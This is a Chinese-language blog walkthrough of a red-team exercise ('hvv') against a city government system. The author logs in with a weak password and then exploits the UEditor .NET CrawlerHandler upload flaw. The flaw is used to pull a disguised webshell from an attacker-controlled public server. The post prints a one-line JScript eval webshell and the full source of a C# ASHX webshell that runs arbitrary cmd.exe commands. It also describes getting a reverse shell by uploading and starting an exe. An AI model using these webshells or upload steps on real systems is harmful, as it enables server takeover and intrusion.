0x01 简短的前言
南方某市hvv,某某系统直接弱口令杀进去……
0x02 UEditor 1.4.3文件上传
进后台之后,看到一个富文本编辑器,爆路径发现是Ueditor编辑器。搜了下有个文件上传漏洞,存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有**.NET**版本受该漏洞影响。黑客可以利用该漏洞上传木马,执行命令控制服务器。
*该漏洞是由于上传文件时,使用的CrawlerHandler类未对文件类型进行检验,导致了任意文件上传。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一个能正确解析的域名。而1.5.0用IP和普通域名都可以。*相对来说1.5.0版本更加容易触发此漏洞;而在1.4.3.3版本中攻击者需要提供一个正常的域名地址就可以绕过判断;
![](/2022/06/24/Aspx%E9%A9%AC%E5%A6%82%E4%BD%95%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4/image-20220625092729950.png)
其中source[]=
后跟的地址是你的公网服务器地址,其中要先把图片马上传到公网服务器上,然后payload后加?.aspx
之类的任意后缀,如图所示。
这里传是传上去了,但是不能直接用蚁剑连接,显示连接被重置。这里用一句话测试下能不能执行命令:
1 2
| <%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["hello"],"unsafe"));%> var date = new Date;
|
显示时间:var date = new Date;
![](/2022/06/24/Aspx%E9%A9%AC%E5%A6%82%E4%BD%95%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4/image-20220625094133498.png)
爆破目录:Server.MapPath(“./")
![](/2022/06/24/Aspx%E9%A9%AC%E5%A6%82%E4%BD%95%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4/image-20220625094210390.png)
然后var cmd = ExecuteCommand("cmd.exe", "/c whoami");
没有执行成功,可能是因为有防护的原因。
最后传上去了一个ashx马,可以执行,但是限制了whoami
、net user
等部分命令,可以使用start
命令。所以上传反弹exe文件,再start一下就可shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <% @ webhandler language="C#" class="AverageHandler" %>using System;using System.Web;using System.Diagnostics;using System.IO; public class AverageHandler : IHttpHandler{ public bool IsReusable { get { return true; } } public void ProcessRequest(HttpContext ctx) { Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl); string command = HttpUtility.ParseQueryString(url.Query).Get("cmd"); ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>"); ctx.Response.Write("<hr>"); ctx.Response.Write("<pre>"); ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c "+command; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p = Process.Start(psi); StreamReader stmrdr = p.StandardOutput; string s = stmrdr.ReadToEnd(); stmrdr.Close(); ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s)); ctx.Response.Write("</pre>"); ctx.Response.Write("<hr>"); ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for educational purposes only."); }}
|
![](/2022/06/24/Aspx%E9%A9%AC%E5%A6%82%E4%BD%95%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4/image-20220625094422838.png)